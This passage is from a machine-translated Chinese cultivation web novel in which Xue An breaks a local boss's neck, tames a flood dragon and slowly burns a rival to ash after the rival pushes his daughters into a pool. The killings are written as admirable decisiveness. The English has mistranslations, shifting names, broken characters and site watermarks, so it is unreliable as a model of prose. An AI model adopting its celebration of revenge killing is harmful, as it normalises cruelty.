    Xue An leaned on the chair, looked at Xiehu like a nouveau riche, and suddenly asked: "Originally I wanted you to settle the old accounts!"


    Xiehu said with a cold face: "Afterwards?"


    Xue An smiled, "But now I have changed my mind again! What kind of old account, kill it!"


    "What did you say? Killed? It depends on you? Ha ha!" Xie Hu looked disdainful.


    His impression of Xue An is still that of the gentle boy in school.


    Xue An then rushed to Jiehu to raise his glass, "I wish you a smooth journey!"


    "Should you please..."


    Before the words fell, Xue An didn''t know when he had rushed in front of him, grabbed his neck, and lifted it into the air.


    Of course, these Xue An have been blocked, and they are guaranteed not to be seen by his two baby girls.


    All this happened very quickly, Xie Hu was pinched around his neck, his face turned blue and purple, and then he was kicking his feet, which was extremely painful.


    Xue An looked at the woman on the side and smiled, "Excuse me, are you his friend?"


    The woman was not afraid, but looked at Xue An with interest.


    "No!"


    "Well, I''ll send him on the road!"


    After finishing speaking, Xue An''s hand slightly hardened, and he clicked.


    Jiehu''s neck was severed by him.


    Before he died, Xie Hu never thought that Xue An would really dare to kill him.


    So until he died, Xie Hu''s eyes were full of incredible and... a deep regret!

 Chapter 39： A mere loach, dare to be presumptuous?

    These people who are kneeling are all scared to death at this moment.


    Especially the lobby manager, his eyes are almost staring out.


    He never thought that Xue An would dare to kill in public.


    Xue Lan was trembling with fright.


    You must know that in Qingmang Town, Xie Hu is like the earth emperor, no one dares to mess with him.


    But brother Ang broke his neck directly.


    This made Xue Lan''s heart cold.


    It was this noble woman, with a calm face, and smiled slightly: "It''s killing and decisive."


    Xue An glanced at her and turned to leave.


    At this moment, another group of people walked in.


    Walking in the forefront is a man with a glamorous look.


    As soon as the man came in, he smiled at the woman: "Sister Poem, you really are here."


    Chen Rushi frowned when he saw him.


    "Huo Heming, you are really lingering, you will follow wherever I go!"


    Huo Heming smiled, "As poetry, you came here not far away for the sake of your old man, of course I have to accompany you, and you see, I also specially invited an expert."


    As he said, a white-haired old man walked out from behind Huo Heming.


    When Chen Rushi saw the old man, his expression became respectful.


    "It turns out to be a well-known Feng Shui master in China, Song Yi Song! You are polite here!"


    Song Yi smiled faintly, "You don''t need to be polite, you are filial, and I have heard about it. At the invitation of Huo Shao this time, I naturally want to find treasures for the poetry girl."


    Xue An didn''t pay attention to these people''s conversations, until he said about treasure hunting, Xue An smiled thoughtfully.


    At this time, Song Yi continued: "This Qingmang Mountain is majestic and has dragon energy mixed in it. There is definitely a heaven and a blessing in it!"


    Chen Rushi was overjoyed when he heard that, "What kind of cave world is that? Should I go into the mountains a little bit to search?"


    Song Yi shook his head, "That''s the dumbest way. It''s best to ask the locals to see what is strange in the mountains."


    And at this moment, Xue Lan suddenly said: "There seems to be a bottomless pool in the mountains."


    These words made Song Yi, Huo Heming and others look at Xue Lan.


    In these gazes, Xue Lan lowered his head nervously.


    Song Yi said at this time: "This girl, where is the pool you mentioned?"


    "It''s in the mountains, but it''s inaccessible, and most people don''t know it."


    "Then... can you ask the girl to lead the way?" Song Yi said.


    Xue Lan looked at Xue An with some embarrassment.


    Xue An looked indifferent and noncommittal.


    Huo Heming impatiently took out a wad of banknotes and threw them directly on the table.


    "These are considered rewards. If you find them, then you will be paid twice as much."


    Xue Lan was a little dumbfounded, the stack of bills was at least 20,000 yuan.


    Her parents were exhausted for a year, but they didn''t make this much money.


    People just threw out the money just like they were begging.


    Such a gap makes Xue Lan a little unacceptable.


    Xue An smiled faintly at this time, "Okay! I just want to travel into the mountains, Laner, you can pick it up!"


    Hearing Xue An talking, Huo Heming looked at him.


    After careful inspection, she found that Xue An was wearing ordinary clothes, and she couldn''t help but disdain.


    "Why are everyone following?"


    But Chen Rushi nodded and said, "It''s good to have a guide, so you don''t have to worry about getting lost."


    These words made Huo Heming''s expression gloomy.


    This Chen Rushi is the daughter he has been pursuing for a long time.


    The strength of the family is so strong that it can be ranked in the middle.


    But even after pursuing it for a long time, Chen Rushi did not pretend to be an idiot to him.


    As a result, he was so close to a strange man, which made Huo Heming very upset.


    But he didn''t show it, he just thought in his heart, damn, let you look good after entering the mountain.


    Everything was prepared, and the group entered Qingmang Mountain.


    At the beginning, there were many tourists.


    But after Xue Lan led them more and more deserted, it was hard to see tourists.


    At the end, there is even no serious way to go.


    has completely entered the deep mountains at this time.


    Xue An picked up his two daughters, still walking fast.


    It was Huo Heming, panting after a few steps.


    And Song Yi took out his compass from time to time to take a look, and he got more excited as he went.


    When finally came to a place that seemed to be a dead end, Xue Lan led the crowd around, and suddenly a pool of water appeared in front of her.


    This pool of water is so deep and deep, even if there is a distance, it is still cold.


    Beside the pool, there are a few gentian plants growing.


    This is nothing. In the middle of the pond, there is actually a slim lotus flower.


    The lotus is white and flawless, and it seems incompatible with the deep mountains this winter.


    When he saw this lotus, Song Yi''s expression became excited.


    "This is it! This is the holy medicine that can save life and death!"


    Upon hearing this, Chen Rushi''s expression also became excited.


    She followed a few bodyguards with her, so Chen Rushi ordered: "Go and pick the lotus plant!"


    A few bodyguards led the way. These people were well-equipped and even had a full set of diving equipment.


    After entering the pool, it started to go smoothly. These bodyguards quickly swam to Lianhua.


    just when they want to touch this lotus flower.


    Suddenly, huge ripples appeared on the calm water.


    Then a snake''s head that looked as thick as a water tank came out of the water.


    The head of the snake is triangular, and a pair of vertical eyes exudes cold light.


    Everyone was stunned.


    A few bodyguards are even scared to death.


    was about to swim back, the giant python suddenly opened a mouth, and a cloud of black mist enveloped the group of people.


    These bodyguards didn''t even have time to scream, they turned into pus.


    At this time, Song Yi exclaimed: "It''s the Flood Dragon, it has turned into a Flood Dragon!"


    As expected.


    Everyone saw two not-so-noticeable horns growing on the snake head. U U Reading


    If the horns are formed, then this dragon will become a dragon in the nine heavens.


    Following Song Yi''s shout, the snake head turned around and looked at the people on the shore coldly.


    "Quick! Kill him!" Huo Heming looked panicked, and he took out his pistol and shot.


    The people who followed him also took out their guns and shot the snake head wildly.


    But these bullets, instead of hurting the dragon, they completely angered it.


    A mouth, another black mist, came straight to the people on the shore.


    Huo Heming and Song Yi hurriedly avoided.


    As for Chen Rushi, she has been frightened.


    This dragon has completely destroyed her worldview for many years.


    At this moment of dazedness, Xue An grabbed her arm and pulled her aside.


    Song Yi shouted desperately at this time, "It''s over!"


    Because of this dragon, it seemed to be a little annoyed when it missed a hit, and the whole body surfaced.


    There is a car as thick and thin as a snake with a body of tens of meters in length hovering on the shore, and then the head of the snake rushes towards everyone.


    Peng.


    The hard ground exploded in one blow.


    Before everyone dodges, the snake''s tail flung over again.


    If you get hit by this tail, then all these people will die.


    Song Yi yelled in despair, "God! This flood dragon already has saneness."


    And Huo Heming and Chen Rushi were completely frightened.


    just when everyone thought they were going to die.


    Xue An walked out slowly, and then grabbed the snake''s tail that was thrown over.


    Just when people were stunned, Xue An sneered.


    "A mud loach, dare to be so presumptuous?"

 Chapter 40： Step on the dragon

    As soon as Xue An��s arm was hard, the whole giant python was thrown up by Xue An as a whip, and then pointed at the towering giant trees on the side, and slammed it over.


    boom.


    After a loud noise, these trees, which were thick and thick enough for a person, were broken by life.


    This rock-shattering scene shocked everyone.


    The water dragon seemed to have been stunned, but in an instant, the water dragon opened its blood basin with big mouth in anger and bit down at Xue An.


    Xue An sneered, holding the snake''s tail in one hand, reaching out with the other hand, and grasping the horn on the dragon''s head.


    Peng.


    After a muffled sound.


    A horn of the Jiaolong was abruptly broken off by Xue An.


    With a deafening roar, the dragon was completely crazy.


    Xue An looked calm.


    joke.


    He has killed more than one of those ancient dragons that have existed since the beginning of the universe, let alone such a dragon with impure blood?


    But the others paled and backed a few steps.


    Chen Rushi looked at Xue An��s proudly standing back, with brilliant eyes.


    Huo Heming noticed this scene and couldn''t help but hate it.


    What is the origin of this kid? Actually so powerful? No, I have to find a way to clean him up!


    At this moment, Xue Xiang and Xue Nian shouted with some worry: "Come on, Baba!"


    And this dragon seems to understand something, and actually went straight to the two little sisters.


    Xue An snorted coldly, actually wanting to deal with his two women?


    Then you go to die!


    But just when he was about to break the spine of this dragon with a punch, Huo Heming suddenly pushed two little girls.


    The two little girls were not prepared at all, and were directly pushed into the deep pool.


    Xue An roared and jumped down directly.


    The dragon escaped from the dead, but didn''t actually escape. Instead, he glanced at the people on the shore with snake eyes full of blood, and then sank into the pool.


    All this happened extremely fast.


    Almost everyone did not react.


    Xue An and Jiaolong have disappeared.


    Everyone turned their eyes to Huo Heming.


    Huo Heming scratched his hair, he laughed, "I''m not afraid that the snake will hurt the two little girls again, but the result is stronger!"


    But Chen Rushi''s face was sinking and he didn''t listen to his explanation at all.


    And Xue Lan has already cried into tears.


    "Brother Ang, Brother Ang! You can''t have an accident! You bastard, it''s you who killed two little girls, and also hurt my Brother Ang!" Xue Lan pointed at Huo Heming and cursed.


    Huo Heming''s face darkened.


    He doesn''t care about the life and death of a girl in a mountain village.


    "Should be ill-advised, come here, grab her for me, and clean her up later!" Huo Heming noticed that Xue Lan looked pretty good, and his heart moved, he ordered.


    Song Yi also frowned at this time.


    This Huo Shao is really vicious.


    It is not guilty of offending him to collect money by himself.


    Here, Song Yi began to collect precious medicinal materials near the pond.


    Because of the inaccessibility of people here and the nourishment of the dragon gas from the dragon, the medicinal materials are very precious.


    Huo Heming feels refreshed.


    Hmph, how can it be great? Still out of mind?


    I just made a little trick, and it ended up with the lives of the father and daughter.


    But when he was proud, the pool water that had calmed down suddenly began to boil.


    Not only that, the lotus flower in the lake turned to ashes in the blink of an eye.


    Huo Heming was shocked, "Mr. Song, what''s the matter?"


    Song Yi''s face was solemn, just about to speak.


    Xue An and Xue Xiang Xue Nian rose slowly from the water.


    The three father and daughter stepped out on the water, but they didn''t even have any water stains all over, just like immortals.


    Everyone was dumbfounded.


    At this time, Song Yi said with a trembling voice: "Look...Look at their feet!"


    Everyone looked at it.


    I saw that it was the head of the dragon who stepped on the feet of Xue An and his daughter.


    step on the dragon!


    How domineering!


    Huo Heming and others are all looking silly.


    Song Yi plopped and knelt on the ground.


    Because he knows better than anyone, this man is definitely not something he can provoke now.


    He has practiced hard for dozens of years, but in the end he barely reached the real-life state, and he was even thousands of miles away from the happy state.


    Don''t talk about the dragon, a ghost can kill him.


    And this man, in the water, surrendered a dragon.


    And looking at the appearance of the dragon at this moment, it seemed to be convincing, and he didn''t dare to defy the slightest, and even a pair of snake eyes was a little lucky.


    It seems that it is his honor to be stepped on by Xue An.


    Song Yi knelt down, shocking many people.


    In Zhongdu, Song Yi is also the number one person anyway, so he kneels down so simply?


    Huo Heming trembled all over, and walked back quietly.


    At this moment, Xue An glanced at him lightly.


    Huo Heming felt that his muscles no longer obeyed his commands.


    With a plop, Huo Heming knelt on the ground.


    Jiaolong''s body was still in the water pool, and his head had been poked out. Xue An stood on it, looked at the people condescendingly, and then smiled slightly.


    "Actually, you should be honored, UU reading because you can see yourself burnt to ashes!"


    Huo Heming was shocked, he wanted to speak but couldn''t say it at all. He could only look at Song Yi who was kneeling aside with a pleading look.


    Song Yi hesitated for a moment, and then said, "Master, this Huo Shaonai is from the Huo family in Zhongdu. Although he acted recklessly just now, he asked the Master to forgive him once. I think the Huo family will be rewarded heavily by then. you����."


    Xue An glanced at Song Yi and said faintly: "Do you know why you have not been able to make progress for so many years?"


    Song Yi shocked all over and lowered his head.


    Xue An said lightly: "Because you are addicted to the power and wealth of the world, the ascetics are going against the sky. If you try to rely on the power of the world to practice, it will only be counterproductive!"


    Song Yi knelt on the ground and muttered to himself when struck by lightning.


    "Go against the sky... against the sky?"


    "Yes, go against the sky, if the sky doesn''t let me, then destroy this day! This is the ascetic!" Xue An said, pointing forward.


    A white flame began to ignite from Huo Heming''s little finger.


    The flame burns very slowly, but the temperature is obviously extremely high, because the burned limbs are directly turned into ashes and scattered by the wind.


    Huo Heming was in great pain, but until this time, his muscles could not be used, so even his screams became extravagant hopes.


    can only watch his body, gradually being burned to fly ash by the flame.


    This process lasted for a full minute, and finally the flame swallowed Huo Heming completely, and then burned to ashes.


    This scene is full of cruel beauty.


    Xue An waved his hand at this time and recovered the two daughters who were in a shielded state.

 Chapter 41： Killing God 6

    Xue Xiang and Xue Nian were squatting on the snake''s head at this time, studying something.


    "Sister, do you think this snake is delicious?" Xue Nian''s saliva seemed to flow out.


    The dragon''s eyes trembled, and a panic flashed in his eyes.


    Xue wanted to shook his head, "I guess it''s not delicious, because there is no such a big pot to stew it!"


    Jiaolong breathed a sigh of relief, but then Xue Xiang said again.


    "But it can be skewered and eaten, it should taste good!"


    Jiaolong is almost crying.


    I was staying at home well, but suddenly a group of people came to grab the treasure first, and then beat myself.


    And most importantly, this man is simply outrageous.


    Beating himself on the shore was dizzy, not to mention, he almost beat himself into meat pie with a punch in the water.


    In the world of monsters, it is normal for the weak to eat the strong and the strong to respect. Therefore, after being beaten and convinced, Jiaolong immediately surrendered completely.


    This is what happened after entering the water.


    punch.


    blasted a dragon in the water.


    And it''s not over yet.


    At this moment, the distant mountain suddenly shook, and then a rumbling voice came from the ground.


    When everyone was shocked.


    Only the dragon knows.


    This is just the aftermath of Xue An''s punch.


    Thinking of the earth-shattering punch in the water, Jiaolong couldn''t help but panic.


    But only Xue An is not satisfied.


    Before...one punch can kill a galaxy.


    But now that the strength is not one in one hundred million, it has to be so.


    At this point, the first punch of the six-style killing god, moving the world, seemed to have some appearance.


    And behind, there are five punches.


    together are six types of killing gods.


    was also when Xue An was the immortal king, galloping across the universe and setting up a prestigious fame.


    Xue Anchong laughed at the two little girls who were discussing how to eat this dragon, and said, "Okay, it''s going to be scared to cry, let''s get down!"


    Jiaolong put the huge dragon head on the ground very docilely, Xue An picked up the two little girls and walked down.


    Jiaolong turned around to leave.


    Xue An suddenly patted it on the head.


    "Although the pedigree is not very good, it is not bad to be able to cultivate to this degree. Let me help you and help you become a dragon soon."


    Jiaolong shocked all over, then looked at Xue An very gratefully.


    Xue An smiled faintly, "You don''t have to thank me, but I want to tell you that there are countless dragons in the universe. If you just want to be a dragon, it''s very simple, but I see something unusual in your blood. Smell, if you are willing to go against the sky, then it��s okay...


    Xue An didn''t say what followed, because he felt that the chance was simply too slim.


    The water dragon fell into the water, and Xue An just passed it a set of demon cultivation techniques. For the water dragon, who has achieved its current strength by relying solely on self-cultivation, it is tantamount to a treasure.


    It is going to practice now.


    And Xue An turned to look at Song Yi who was still mumbling to himself, and shook his head.


    If this person can''t see through this barrier, then not only will he not be diligent, but he will be backlashed, and he may even die suddenly.


    Xue An untied Xue Lan''s rope, and Xue Lan looked at him with a little horror.


    "Brother Ang..."


    Xue An smiled, "Don''t be afraid, I don''t know how to eat people! It''s just that there have been some unusual encounters in the past few years."


    Xue Lan lowered her head.


    Xue An sighed slightly and turned to leave. Xue Lan suddenly raised his head and said: "I''m not afraid! As long as you are Brother An, then I''m not afraid of anything!"


    Xue An smiled lightly.


    Huo Heming scattered with the wind, everything is over.


    Only Chen Rushi was a little depressed.


    Because the dragon came out of the water just now, the medicinal materials were basically involved in the pool water, so this time it can be said that he returned empty-handed.


    Chen Rushi is anxious when he thinks of the old man in his family who is sick every day.


    At this moment, Chen Rushi was stunned at the two little girls who were taking lotus seeds out of the pockets of their dresses.


    "This is so delicious!" Xue Nian threw one in his mouth casually.


    Xue wanted to nod, "It''s just too little, just so little!"


    The two little girls disregarded Chen Rushi��s sorrow and shock, just like eating candy, one bite at a time.


    "Don''t... don''t eat it!" Chen Rushi said painfully.


    "Hey, auntie...what''s wrong with you?" Xue wanted to turn his head and look at Chen Rushi.


    "Two little girls, where did you get the lotus seeds?"


    "When I was in the water just now, Baba picked it for us!" Xue Nian ate another one.


    "Yes, Baba also said, eat and play as a snack!"


    Chen Rushi is going crazy at this time.


    picked one easily... and handed it to the two little girls, and also let it be a snack.


    What does this man think?


    You need to know that the crunchy lotus seeds that Xue Xiang and Xue Nian ate at the moment, but they are peerless magical medicine, and even Xuanyin lotus seeds that can live to death!


    "Little girl, can you give me one for the aunt? I will bring you a lot of snacks for you? Okay?" Chen Rushi seemed to be a trafficker who tricked children at this moment.


    "Then... I want ten bags of spicy slices!" Xue Nian said first Xue wanted to knock his sister on the head, and then said solemnly: "Aunt Xuan''er said, eat more spicy slices It will become ugly! Let''s change to mushroom power!"


    "Yeah! That''s okay!" Xue Nian nodded hurriedly.


    Chen Rushi didn''t expect it to be so smooth.


    Then Xue wanted to take a lotus seed out of his pocket, "Auntie, what do you want this for?"


    "Auntie has a patient at home, I need to eat this!"


    "That''s it!" Xue thought about it, and then took out all the lotus seeds in his pocket.


    Xue Nian is the same, except that he hesitated at last, and put a lotus seed in his mouth.


    "Auntie, I will give you all these!"


    Chen Rushi was stunned, looking at the pure gemstone eyes of the two little girls who looked like pink jade.


    She trembled: "Two little sisters, you are..."


    Xue wanted to say seriously: "Auntie, when Baba didn''t come back before, we also looked forward to him coming back all day long. There are patients in your family, and I must also hope that he can get well, and I will give it to you!"


    Chen Rushi suddenly wanted to cry.


    I was thinking about calculating others, but the two little girls have a heart of gold.


    Yes, their papa... would that mysterious man agree?


    Chen Rushi was a little worried.


    Xue An saw them all by the side, he smiled slightly, and then said: "The things I give to my daughter are theirs, and they just dispose of it!"


    Chen Rushi gritted his teeth and took out a delicate white gold card from his body.


    "Sir, this thing is too precious, I dare not ask for everything, just give me three. This card is a bit of gratitude from the Chen family, please accept it!"

 Chapter 42： After 3 days, I am waiting for him at Hongs house!

    Beijiang.


    Hong''s villa.


    Yu Qing sat in the main seat, while Hong Yuan, Hong Ming, father and son, and Qin Tian stood aside respectfully.


    Yu Qing looked indifferent, "You mean, Xue An is not in Beijiang now?"


    Hong Ming replied first: "Yes! I have sent someone to check, he has been away from Beijiang for two days!"


    "What did you know?" Yu Qing said lightly.


    "This...I am not too clear." Hong Ming said.


    "That little **** Qin Yu must know!" Qin Tian said suddenly through gritted teeth.


    Now Qin Tian is in a terrible situation. He was expelled from the Longtai Group by Qin Yuan. Not to mention, all his savings have been frozen.


    When he saw him fall from the top of the cloud, his wife also ran away.


    He is like a dog in a bereavement, and he can''t be worried all day long.


    Until that day, he was sitting sadly in the rented ruined house, and Yu Qing found it.


    When ���� started, Qin Tian didn''t take Yu Qing seriously.


    But later he found out that this man, who looked only in his thirties, was simply terrifying.


    Then Qin Tian knew that this person was Liu Shou��s junior, and Beijiang was here to investigate the cause of Liu Shou��s death.


    Qin Tian couldn''t help being overjoyed, and led Yu Qing to the Hong''s house.


    At this moment, when Yu Qing heard what Qin Tian said, he nodded slightly.


    "Well, where can I meet Qin Yu?"


    "She now goes to Zhenbei Wuguan every day!"


    Town Beiwu Hall.


    Beijiang��s largest martial arts hall, Tan Dong, who sits here, is a famous martial arts master in the country.


    As the heir of the Longtai Group, Qin Yu has a distinguished status, and naturally he will not practice martial arts with those ordinary disciples outside.


    She is in a small courtyard at the innermost side of Zhenbei Martial Arts Hall, under the guidance of Tan Dong.


    Today, Qin Yu is practicing attentively.


    Tan Dong looked at him, sighing in his heart.


    Since the auction that day, Miss Qin seemed to have been stimulated, and came to the martial arts gym all day to practice crazy.


    But her progress is amazing, and a set of swimming dragon palms has been practiced very well.


    But at this moment, there was a sudden noise outside.


    Then a disciple rushed in.


    "Master, someone is kicking the pavilion outside!"


    kick the hall.


    This kind of thing hasn''t appeared in Zhenbei Wuguan for a long time.


    However, Tan Dong looked calm, nodded and said: "I know, I''ll be there soon..."


    Before the words fell, I saw the courtyard gate of the small courtyard shattered, and several of Tan Dong''s proud disciples were blown in with a punch.


    This scene made Tan Dong amazed.


    Some of his disciples, some of whom have been studying arts for ten years, are second only to him in skill, but now they are blown in.


    Who is such an expert?


    was in a state of uncertainty, a man with an ordinary face but with a temperament like Yuan Yu Yuezhi walked in slowly.


    The person who came is naturally Yu Qing.


    He was ordered by Master Lei Ling, an old man named Tian Tian, ??to go down the mountain to investigate the death of his brother Liu Shou.


    After arriving in Beijiang, he discovered that the murderer was an ordinary person who was not well known and was not in Beijiang.


    In order to avenge his brother earlier, he didn''t bother to visit, so he rushed into the Zhenbei Martial Arts Hall.


    These disciples were uncomfortable with his actions, they blocked him, but they couldn''t resist him with a punch.


    this moment.


    Yu Qing glanced at the people in the small courtyard faintly, and then slightly nodded at Qin Yu.


    "This must be Miss Qin. May I ask where Xue An is."


    turned out to be for Xue An.


    Qin Yu''s heart couldn''t help mentioning her throat.


    This man is obviously not an ordinary person, what did he do with Xue An?


    seems to have sensed Qin Yu''s question, Yu Qing smiled slightly, showing Bai Sensen''s teeth.


    "It was my brother who died at the auction. My name is Yu Qing."


    Qin Yu was awe-inspiring, because when the man smiled, it was like a tiger gnawing at you, which was very shocking.


    But at this moment Tan Dong stepped forward and blocked Qin Yu.


    "This friend, you hurt my disciple when you enter the door without saying hello, isn''t it a bit too rude?" Tan Dongman said angrily.


    "Who are you?" Yu Qing said.


    "I am the curator of Beiwu Hall in this town, Tan Dong!" Tan Dong said solemnly.


    Yu Qing nodded, "Speaking of which, you seem to be unconvinced! Well, if you can take my punch, I will turn my head and go! Never come to Beijiang again!"


    "Good!" Tan Dong answered without hesitation.


    If he backed down now, then the sign of Zhenbei Wuguan would be broken.


    A scornful smile appeared at the corner of Yu Qing''s mouth, and then he gave a soft sip, and then punched Tan Dong.


    Tan Dong''s face was solemn, standing in a horse-step style, trying his best to receive the punch.


    boom.


    This punch hit Tan Dong like a meteor.


    Tan Dong''s complexion changed from red to white. He didn''t hold on for a second, he was blasted from the ground and flew directly to the wall. Then he landed slowly, and then he spouted a mouthful of blood. Not out.


    "Master Tan!" Qin Yu exclaimed.


    Tan Dong waved his hand sullenly, then looked at Yu Qing with some fear, and said intermittently, "This...Is this the Happy Realm?"


    Yu Qing retracted his fist and stood proudly.


    "Yes, this is Happy Land!"


    Tan Dong smiled bitterly, knowing he was defeated.


    This man in his thirties has actually broken through the real world, becoming a happy man with a life span of one hundred and fifty years old.


    Such a power gap is like heaven and earth. He has nothing to say about losing Yu Qing turned to look at Qin Yu, "I will give you three days, and after three days, I will wait for Xue at Hong''s house. Ann, if he doesn''t come, then you all have to die!"


    After saying this threatening sentence, Yu Qing turned and left.


    Qin Yu helped Tan Dong up, and then looked at the back of Yu Qing and others with complex expressions.


    "Master Tan, are you okay?"


    Tan Dong shook his head, "It''s just that I have suffered some internal injuries, it doesn''t matter, this person has already left his hand, otherwise I will have to die! This person''s strength is simply terrifying!"


    Qin Yu said worriedly: "Then... Is Xue An his opponent?"


    Tan Dong said with a wry smile: "I can see through this person, but Mr. Xue, I can''t see through it at all. You say he is a martial arts expert, but he can''t tell from the outside at all!"


    "Miss Qin, you''d better find Mr. Xue as soon as possible, don''t delay, because a master like Yu Qing will definitely do what he says, and then you will be in danger!"


    Qin Yu nodded solemnly, "I understand, I will go to Mr. Xue now!"


    Just when Qin Yu hurried to Qingmang Town.


    Xue An is sitting cross-legged and meditating by the pool.


    The aura here is much richer than the outside world, just to help Xue An break through the real world.


    In fact, with Xue An��s current strength, he could easily break through.


    But Xue An suffered a loss from an unstable foundation in his last life, so this time, it is important to make a solid foundation before breaking through.


    As Xue An absorbed, the spiritual energy began to form a vortex visible to the naked eye on his head.


    This vision made Xue Lan look silly.


    But Xue Xiang and Xue Nian are a little accustomed to them. For both of them, their Baba is omnipotent.

 Chapter 43： Wan Jia Ding Huan

    Peng!


    A dull sound came from Xue Anshen.


    That is the sound from deep within the bones, which also means that Xue An finally took the first step on the road of cultivation.


    Although it is still thousands of miles away from the Xianzun of the year, this step is after all.


    The so-called real person is to cultivate strength to the whole body, so that he can do what he can.


    and Xiaoyao, the whole body is condensed into one, and it has become a whole, and there is great power in every gesture.


    What��s more important is that one hundred and fifty years old will be born when one enters a happy life.


    This is a great temptation.


    is called Xiaoyao by the worldly people.


    But Xue An knew that this was far from enough.


    Because the realm of monasticism is divided into: real person, happy realm, heaven and human realm, scattered fairy realm, longevity realm, golden fairy, true fairy, Daluo, fairy king, fairy emperor, fairy god, and finally the legendary saint realm.


    It''s just the first step now.


    But Song Yi, who had recovered his sobriety, looked envious and shocked.


    This is the first time he has seen someone break into the Happy Realm in such a fast time.


    Especially this person is only in his twenties. If this news spreads out, I don''t know how many people will be shocked.


    "When you enter Happy, you will be an immortal!" Song Yi muttered to himself.


    Xue An stood up, feeling that the strength of his whole body was more than ten times longer, and he was full of energy, there was a feeling that the world was in my hands.


    But Xue An''s state of mind was as solid as a rock, and these illusions were eliminated in a flash.


    Next to this water pool this time, he also obtained many medicinal materials, which can be used to refine Pei Yuan Dan.


    Now that Xue An breaks through the Xiaoyao realm, the speed of alchemy has increased a lot.


    In almost a blink of an eye, these piles of precious medicinal materials were refined into liquid by Xue An, and then began to refine.


    Xue Lan looked dazzled and felt that the worldview had been greatly subverted.


    Song Yi was even more shocked.


    If Xue An��s breakthrough in Xiaoyao was the first shock to him, then this time of alchemy, Song Yi had the urge to kneel.


    Those famous sects basically know how to make alchemy, but when making alchemy, they must not fast and bathe, and make long and tedious preparations before they can start to make a fire.


    Just like that, there is a high chance of failure.


    This is also the reason why, except for a few Dapai disciples, almost no one can afford the pill.


    Because it is too expensive.


    Also, the methods of alchemy are not secret.


    You can see this Mr. Xue, his movements are like flowing water, almost instantaneously.


    ��.


    More than a dozen pill exuding strong aroma fell into Xue An''s hands.


    Within five minutes before and after, the pill was successfully refined.


    This success rate and efficiency made Song Yi stunned.


    Xue Nian drooled and said: "Baba, what is this, it smells so good!"


    Xue An smiled faintly, and then did something that made Song Yi almost stare at him.


    He directly gave Xue Xiang and Xue Nian a pill.


    "Try to see how it tastes!"


    "Hmm!"


    The two little girls had one mouth and one mouth, as if they were eating peanuts, they ate the two pills.


    Song Yi is about to cry.


    These few medicines, any one of them shed, can make those disciples of the famous school out of their minds.


    Can this Mr. Xue serve his two daughters as snacks?


    Xue An gave Xue Lan another one at this time.


    "Try it!"


    Xue Lan was a little embarrassed, and just wanted to decline.


    Song Yi said quietly: "Eat it girl, this is your great luck!"


    Xue Lan hesitated for a moment, then took this medicine.


    soon!


    Xue Lan felt a pain in his stomach, then blushed, and ran away.


    After a while, she came back a little timidly.


    At this time, all the dirt on her body has been drained.


    will be like a flawless beautiful jade, cut through inside and out.


    Not to mention anything else, just this pill is enough to extend the life of this little girl for 50 years and stay young forever.


    Song Yi''s envious saliva was about to flow out.


    Xue An glanced at him lightly.


    Song Yi quickly bowed his head respectfully.


    "Why don''t you follow her?"


    Song Yi smiled bitterly, "Now Huo Shao is dead, and I won��t be able to escape when I return to the middle school, so I might as well stay."


    In fact, Song Yi didn''t say one more thing. When he just woke up, Chen Rushi wanted to take him away.


    But Song Yi secretly divination.


    The ���� hexagram tells him that misfortune is unpredictable, but there is great opportunity waiting for him.


    As for how great this opportunity is.


    Song Yi is also not clear.


    Xue An is noncommittal.


    He doesn''t dislike this Song Yi, let alone like it.


    To put it bluntly, this is a cultivator who relies on some skills to wander among the worldly giants.


    "How long have I meditated?"


    "Baba, you have been sitting there for a long time." Xue Xiang said.


    "Oh, don''t you guys feel bored?"


    "No! In the past, my sister and I often stayed at home for one day!" Xue Xiang said.


    Xue An felt a pain in his heart. When he was away, these two little girls must have suffered a lot of crimes.


    After all, Tang Xuan''er wants to raise them and still has to make money, so the family can only keep them themselves.


    Thinking like this, Xue An leaned down and picked up the two daughters, smiled and said, "Then Baba will take you down the mountain!"


    As Xue An tapped his toes, he rose into the sky.


    also left a sentence and said to Song Yi: "Take Lan''er down the mountain!"


    Xue Lan raised his head, staring blankly at Xue An who disappeared into the sky.


    And Song Yi said respectfully at this time: "Miss Lan''er, let''s go down the mountain!"


    "Brother Ang...Is he a fairy?" Xue Lan muttered. UU reading


    Song Yi shook his head and sighed, "It''s not a fairy, but it''s almost the same, and this Mr. Xue always has an attitude that people dare not despise, and his future achievements can hardly be imagined!"


    Song Yi sent it with feelings.


    Xue Lan is a mixed bag.


    At this point, the trace of girlish fantasy in her heart gradually extinguished.


    Because she knows that the gap between herself and Brother Ang is like a cloud of mud.


    At this moment, Xue An took two daughters and flew directly into the air.


    Of course, it is impossible for Xiaoyao to have such strength.


    But with Xue An''s strength, it was easy.


    The two little girls looked at the bright moon and the sky full of stars excitedly.


    "Baba, the moon is so big!"


    "Yes, and it looks like a biscuits with half bitten off!" Xue Nian can''t do without eating.


    Xue An smiled faintly, "Close your eyes, Baba will make you a magic trick."


    "Hmm!"


    The two little girls closed their eyes obediently.


    Xue An''s eyes flashed, and then a huge light curtain appeared under his feet.


    This light curtain is like a piece of glass floating in the air.


    Xue An released his hand and placed his two daughters on the light curtain.


    "All right!"


    The two little girls opened their eyes and saw a beautiful scene.


    The light curtain perfectly reflects everything in the sky, the moon and stars are all dotted on it.


    It was like two sky appeared.


    Xue wanted to take a step carefully and found that he was walking on the ground, and then excitedly led Xue Nian to run.


    Xue An looked at his two daughters with a smile.


    At the foot, there are thousands of lights and fireworks!

 Chapter 44： To solve the hatred, draw the sword and kill the enemy!

    Late at night, there are few pedestrians in the streets of Qingmang Town. Many shops have turned off their lights, but the lights in the Yuelai Hotel are still bright.


    Xie Wendong sat in a chair, and placed in front of him was the body of his son Xiehu.


    "Who did it!" Xie Wendong''s eyes were red and his face was full of murderous aura.


    "Back to the old man, it''s a person named Xue An!" The lobby manager said quickly.


    "Xue An?" Xie Wendong frowned, then looked at Xue Lan''s parents who were kneeling aside.


    "Xue Guo, you members of the Xue family, you are so courageous!" Xie Wendong said coldly.


    Xue Guo hadn''t spoken yet, Xue Lan''s mother Li Hongyan was already crying, and then banged his head.


    "Lord Jie, please let us go, we really don''t know where Xue An is going! Our daughter was abducted by this bastard, and you caught us, it won''t help at all!"


    Jie Wendong was full of murderous expression, "I don''t believe you people really don''t know! Xue An is your nephew!"


    At this time, Li Hongyan saw Xue Guo bowing his head and said nothing. She pointed at Xue Guo and cursed: "It''s all to blame. You don''t have a good thing with the surname Xue. This Xue An caused such a big disaster when he came back. Then he patted his **** and left, and it hurt us. You are still protecting him!"


